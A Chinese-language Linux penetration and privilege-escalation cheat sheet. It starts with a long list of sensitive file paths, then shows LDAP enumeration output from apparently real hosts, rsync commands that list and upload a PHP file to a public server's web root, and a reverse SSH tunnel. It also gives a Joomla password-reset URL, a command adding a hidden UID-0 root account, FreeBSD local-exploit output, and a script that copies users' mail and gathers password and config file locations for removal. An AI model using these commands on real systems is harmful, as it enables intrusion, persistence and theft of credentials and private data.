LINUX渗透与提权总结

本文为Linux渗透与提权技巧总结篇，旨在收集各种Linux渗透技巧与提权版本，方便各位同学在日后的渗透测试中能够事半功倍。

Linux 系统下的一些常见路径：

001 /etc/passwd
002
003 /etc/shadow
004
005 /etc/fstab
006
007 /etc/host.conf
008
009 /etc/motd
010
011 /etc/ld.so.conf
012
013 /var/www/htdocs/index.php
014
015 /var/www/conf/httpd.conf
016
017 /var/www/htdocs/index.html
018
019 /var/httpd/conf/php.ini
020
021 /var/httpd/htdocs/index.php
022
023 /var/httpd/conf/httpd.conf
024
025 /var/httpd/htdocs/index.html
026
027 /var/httpd/conf/php.ini
028
029 /var/www/index.html
030
031 /var/www/index.php
032
033 /opt/www/conf/httpd.conf
034
035 /opt/www/htdocs/index.php
036
037 /opt/www/htdocs/index.html
038
039 /usr/local/apache/htdocs/index.html
040
041 /usr/local/apache/htdocs/index.php
042
043 /usr/local/apache2/htdocs/index.html
044
045 /usr/local/apache2/htdocs/index.php
046
047 /usr/local/httpd2.2/htdocs/index.php
048
049 /usr/local/httpd2.2/htdocs/index.html
050
051 /tmp/apache/htdocs/index.html
052
053 /tmp/apache/htdocs/index.php
054
055 /etc/httpd/htdocs/index.php
056
057 /etc/httpd/conf/httpd.conf
058
059 /etc/httpd/htdocs/index.html
060
061 /www/php/php.ini
062
063 /www/php4/php.ini
064
065 /www/php5/php.ini
066
067 /www/conf/httpd.conf
068
069 /www/htdocs/index.php
070
071 /www/htdocs/index.html
072
073 /usr/local/httpd/conf/httpd.conf
074
075 /apache/apache/conf/httpd.conf
076
077 /apache/apache2/conf/httpd.conf
078
079 /etc/apache/apache.conf
080
081 /etc/apache2/apache.conf
082
083 /etc/apache/httpd.conf
084
085 /etc/apache2/httpd.conf
086
087 /etc/apache2/vhosts.d/00_default_vhost.conf
088
089 /etc/apache2/sites-available/default
090
091 /etc/phpmyadmin/config.inc.php
092
093 /etc/mysql/my.cnf
094
095 /etc/httpd/conf.d/php.conf
096
097 /etc/httpd/conf.d/httpd.conf
098
099 /etc/httpd/logs/error_log
100
101 /etc/httpd/logs/error.log
102
103 /etc/httpd/logs/access_log
104
105 /etc/httpd/logs/access.log
106
107 /home/apache/conf/httpd.conf
108
109 /home/apache2/conf/httpd.conf
110
111 /var/log/apache/error_log
112
113 /var/log/apache/error.log
114
115 /var/log/apache/access_log
116
117 /var/log/apache/access.log
118
119 /var/log/apache2/error_log
120
121 /var/log/apache2/error.log
122
123 /var/log/apache2/access_log
124
125 /var/log/apache2/access.log
126
127 /var/www/logs/error_log
128
129 /var/www/logs/error.log
130
131 /var/www/logs/access_log
132
133 /var/www/logs/access.log
134
135 /usr/local/apache/logs/error_log
136
137 /usr/local/apache/logs/error.log
138
139 /usr/local/apache/logs/access_log
140
141 /usr/local/apache/logs/access.log
142
143 /var/log/error_log
144
145 /var/log/error.log
146
147 /var/log/access_log
148
149 /var/log/access.log
150
151 /usr/local/apache/logs/access_logaccess_log.old
152
153 /usr/local/apache/logs/error_logerror_log.old
154
155 /etc/php.ini
156
157 /bin/php.ini
158
159 /etc/init.d/httpd
160
161 /etc/init.d/mysql
162
163 /etc/httpd/php.ini
164
165 /usr/lib/php.ini
166
167 /usr/lib/php/php.ini
168
169 /usr/local/etc/php.ini
170
171 /usr/local/lib/php.ini
172
173 /usr/local/php/lib/php.ini
174
175 /usr/local/php4/lib/php.ini
176
177 /usr/local/php4/php.ini
178
179 /usr/local/php4/lib/php.ini
180
181 /usr/local/php5/lib/php.ini
182
183 /usr/local/php5/etc/php.ini
184
185 /usr/local/php5/php5.ini
186
187 /usr/local/apache/conf/php.ini
188
189 /usr/local/apache/conf/httpd.conf
190
191 /usr/local/apache2/conf/httpd.conf
192
193 /usr/local/apache2/conf/php.ini
194
195 /etc/php4.4/fcgi/php.ini
196
197 /etc/php4/apache/php.ini
198
199 /etc/php4/apache2/php.ini
200
201 /etc/php5/apache/php.ini
202
203 /etc/php5/apache2/php.ini
204
205 /etc/php/php.ini
206
207 /etc/php/php4/php.ini
208
209 /etc/php/apache/php.ini
210
211 /etc/php/apache2/php.ini
212
213 /web/conf/php.ini
214
215 /usr/local/Zend/etc/php.ini
216
217 /opt/xampp/etc/php.ini
218
219 /var/local/www/conf/php.ini
220
221 /var/local/www/conf/httpd.conf
222
223 /etc/php/cgi/php.ini
224
225 /etc/php4/cgi/php.ini
226
227 /etc/php5/cgi/php.ini
228
229 /php5/php.ini
230
231 /php4/php.ini
232
233 /php/php.ini
234
235 /PHP/php.ini
236
237 /apache/php/php.ini
238
239 /xampp/apache/bin/php.ini
240
241 /xampp/apache/conf/httpd.conf
242
243 /NetServer/bin/stable/apache/php.ini
244
245 /home2/bin/stable/apache/php.ini
246
247 /home/bin/stable/apache/php.ini
248
249 /var/log/mysql/mysql-bin.log
250
251 /var/log/mysql.log
252
253 /var/log/mysqlderror.log
254
255 /var/log/mysql/mysql.log
256
257 /var/log/mysql/mysql-slow.log
258
259 /var/mysql.log
260
261 /var/lib/mysql/my.cnf
262
263 /usr/local/mysql/my.cnf
264
265 /usr/local/mysql/bin/mysql
266
267 /etc/mysql/my.cnf
268
269 /etc/my.cnf
270
271 /usr/local/cpanel/logs
272
273 /usr/local/cpanel/logs/stats_log
274
275 /usr/local/cpanel/logs/access_log
276
277 /usr/local/cpanel/logs/error_log
278
279 /usr/local/cpanel/logs/license_log
280
281 /usr/local/cpanel/logs/login_log
282
283 /usr/local/cpanel/logs/stats_log
284
285 /usr/local/share/examples/php4/php.ini
286
287 /usr/local/share/examples/php/php.ini
288
289 /usr/local/tomcat5527/bin/version.sh
290
291 /usr/share/tomcat6/bin/startup.sh
292
293 /usr/tomcat6/bin/startup.sh

 liunx 相关提权渗透技巧总结，一、ldap 渗透技巧：

1 1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

1 2.less /etc/ldap.conf
2
3 base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

1 ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

1 ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

1 ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:

1 1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

1 2.less /etc/ldap.conf
2
3 base ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

1 ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

1 ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

1 ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:

1.返回所有的属性

01 ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
02
03 version: 1
04
05 dn: dc=ruc,dc=edu,dc=cn
06
07 dc: ruc
08
09 objectClass: domain
10
11 dn: uid=manager,dc=ruc,dc=edu,dc=cn
12
13 uid: manager
14
15 objectClass: inetOrgPerson
16
17 objectClass: organizationalPerson
18
19 objectClass: person
20
21 objectClass: top
22
23 sn: manager
24
25 cn: manager
26
27 dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
28
29 uid: superadmin
30
31 objectClass: inetOrgPerson
32
33 objectClass: organizationalPerson
34
35 objectClass: person
36
37 objectClass: top
38
39 sn: superadmin
40
41 cn: superadmin
42
43 dn: uid=admin,dc=ruc,dc=edu,dc=cn
44
45 uid: admin
46
47 objectClass: inetOrgPerson
48
49 objectClass: organizationalPerson
50
51 objectClass: person
52
53 objectClass: top
54
55 sn: admin
56
57 cn: admin
58
59 dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
60
61 uid: dcp_anonymous
62
63 objectClass: top
64
65 objectClass: person
66
67 objectClass: organizationalPerson
68
69 objectClass: inetOrgPerson
70
71 sn: dcp_anonymous
72
73 cn: dcp_anonymous

2.查看基类

1 bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain

3.查找

001 bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
002
003 version: 1
004
005 dn:
006
007 objectClass: top
008
009 namingContexts: dc=ruc,dc=edu,dc=cn
010
011 supportedExtension: 2.16.840.1.113730.3.5.7
012
013 supportedExtension: 2.16.840.1.113730.3.5.8
014
015 supportedExtension: 1.3.6.1.4.1.4203.1.11.1
016
017 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
018
019 supportedExtension: 2.16.840.1.113730.3.5.3
020
021 supportedExtension: 2.16.840.1.113730.3.5.5
022
023 supportedExtension: 2.16.840.1.113730.3.5.6
024
025 supportedExtension: 2.16.840.1.113730.3.5.4
026
027 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
028
029 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
030
031 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
032
033 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
034
035 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
036
037 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
038
039 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
040
041 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
042
043 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
044
045 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
046
047 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
048
049 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
050
051 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
052
053 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
054
055 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
056
057 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
058
059 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
060
061 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
062
063 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
064
065 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
066
067 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
068
069 supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
070
071 supportedExtension: 1.3.6.1.4.1.1466.20037
072
073 supportedExtension: 1.3.6.1.4.1.4203.1.11.3
074
075 supportedControl: 2.16.840.1.113730.3.4.2
076
077 supportedControl: 2.16.840.1.113730.3.4.3
078
079 supportedControl: 2.16.840.1.113730.3.4.4
080
081 supportedControl: 2.16.840.1.113730.3.4.5
082
083 supportedControl: 1.2.840.113556.1.4.473
084
085 supportedControl: 2.16.840.1.113730.3.4.9
086
087 supportedControl: 2.16.840.1.113730.3.4.16
088
089 supportedControl: 2.16.840.1.113730.3.4.15
090
091 supportedControl: 2.16.840.1.113730.3.4.17
092
093 supportedControl: 2.16.840.1.113730.3.4.19
094
095 supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
096
097 supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
098
099 supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
100
101 supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
102
103 supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
104
105 supportedControl: 2.16.840.1.113730.3.4.14
106
107 supportedControl: 1.3.6.1.4.1.1466.29539.12
108
109 supportedControl: 2.16.840.1.113730.3.4.12
110
111 supportedControl: 2.16.840.1.113730.3.4.18
112
113 supportedControl: 2.16.840.1.113730.3.4.13
114
115 supportedSASLMechanisms: EXTERNAL
116
117 supportedSASLMechanisms: DIGEST-MD5
118
119 supportedLDAPVersion: 2
120
121 supportedLDAPVersion: 3
122
123 vendorName: Sun Microsystems, Inc.
124
125 vendorVersion: Sun-Java(tm)-System-Directory/6.2
126
127 dataversion: 020090516011411
128
129 netscapemdsuffix: cn=ldap://dc=webA:389
130
131 supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
132
133 supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
134
135 supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
136
137 supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
138
139 supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
140
141 supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
142
143 supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
144
145 supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
146
147 supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
148
149 supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
150
151 supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
152
153 supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
154
155 supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
156
157 supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
158
159 supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
160
161 supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
162
163 supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
164
165 supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
166
167 supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
168
169 supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
170
171 supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
172
173 supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
174
175 supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
176
177 supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
178
179 supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
180
181 supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
182
183 supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
184
185 supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
186
187 supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
188
189 supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
190
191 supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
192
193 supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
194
195 supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
196
197 supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
198
199 supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
200
201 supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
202
203 supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
204
205 supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
206
207 supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
208
209 supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
210
211 supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
212
213 supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
214
215 supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
216
217 supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
218
219 supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
220
221 supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
222
223 supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
224
225 supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
226
227 supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5

 liunx 相关提权渗透技巧总结，二、NFS 渗透技巧：

列举IP：

1 showmount -e ip

 liunx 相关提权渗透技巧总结，三、rsync渗透技巧：

1.查看rsync服务器上的列表：

01 rsync 210.51.X.X::
02
03 finance
04
05 img_finance
06
07 auto
08
09 img_auto
10
11 html_cms
12
13 img_cms
14
15 ent_cms
16
17 ent_img
18
19 ceshi
20
21 res_img
22
23 res_img_c2
24
25 chip
26
27 chip_c2
28
29 ent_icms
30
31 games
32
33 gamesimg
34
35 media
36
37 mediaimg
38
39 fashion
40
41 res-fashion
42
43 res-fo
44
45 taobao-home
46
47 res-taobao-home
48
49 house
50
51 res-house
52
53 res-home
54
55 res-edu
56
57 res-ent
58
59 res-labs
60
61 res-news
62
63 res-phtv
64
65 res-media
66
67 home
68
69 edu
70
71 news
72
73 res-book

看相应的下级目录(注意一定要在目录后面添加上/)

1 rsync 210.51.X.X::htdocs_app/
2
3 rsync 210.51.X.X::auto/
4
5 rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件

1 rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)

1 rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
2
3 http://app.finance.xxx.com/warn/nothack.txt

 liunx 相关提权渗透技巧总结，四、squid渗透技巧：

1 nc -vv 91ri.org 80
2
3 GET HTTP://www.sina.com / HTTP/1.0
4
5 GET HTTP://WWW.sina.com:22 / HTTP/1.0

 liunx 相关提权渗透技巧总结，五、SSH端口转发：

1 ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

 liunx 相关提权渗透技巧总结，六、joomla渗透小技巧：

确定版本：

1 index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-15&catid=32:languages&Itemid=47

重新设置密码：

1 index.php?option=com_user&view=reset&layout=confirm

 liunx 相关提权渗透技巧总结，七、Linux添加UID为0的root用户：

1 useradd -o -u 0 nothack

 liunx 相关提权渗透技巧总结，八、freebsd本地提权：

01 [argp@julius ~]$ uname -rsi
02
03 * freebsd 7.3-RELEASE GENERIC
04
05 * [argp@julius ~]$ sysctl vfs.usermount
06
07 * vfs.usermount: 1
08
09 * [argp@julius ~]$ id
10
11 * uid=1001(argp) gid=1001(argp) groups=1001(argp)
12
13 * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
14
15 * [argp@julius ~]$ ./nfs_mount_ex
16
17 *
18
19 calling nmount()

 tar 文件夹打包：

1、tar打包：

1 tar -cvf /home/public_html/*.tar /home/public_html/--exclude=排除文件*.gif  排除目录 /xx/xx/*
2
3 alzip打包(韩国) alzip -a D:\WEB d:\web*.rar

{

注：

关于tar的打包方式,linux不以扩展名来决定文件类型。

若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压

那么用这条比较好

1 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*

}

系统信息收集：

01 for linux：
02
03 #!/bin/bash
04
05 echo #######geting sysinfo####
06
07 echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
08
09 echo #######basic infomation##
10
11 cat /proc/meminfo
12
13 echo
14
15 cat /proc/cpuinfo
16
17 echo
18
19 rpm -qa 2>/dev/null
20
21 ######stole the mail......######
22
23 cp -a /var/mail /tmp/getmail 2>/dev/null
24
25 echo 'u'r id is' `id`
26
27 echo ###atq&crontab#####
28
29 atq
30
31 crontab -l
32
33 echo #####about var#####
34
35 set
36
37 echo #####about network###
38
39 ####this is then point in pentest,but i am a new bird,so u need to add some in it
40
41 cat /etc/hosts
42
43 hostname
44
45 ipconfig -a
46
47 arp -v
48
49 echo ########user####
50
51 cat /etc/passwd|grep -i sh
52
53 echo ######service####
54
55 chkconfig --list
56
57 for i in {oracle,mysql,tomcat,samba,apache,ftp}
58
59 cat /etc/passwd|grep -i $i
60
61 done
62
63 locate passwd >/tmp/password 2>/dev/null
64
65 sleep 5
66
67 locate password >>/tmp/password 2>/dev/null
68
69 sleep 5
70
71 locate conf >/tmp/sysconfig 2>dev/null
72
73 sleep 5
74
75 locate config >>/tmp/sysconfig 2>/dev/null
76
77 sleep 5
78
79 ###maybe can use "tree /"###
80
81 echo ##packing up#########
82
83 tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
84
85 rm -rf /tmp/getmail /tmp/password /tmp/sysconfig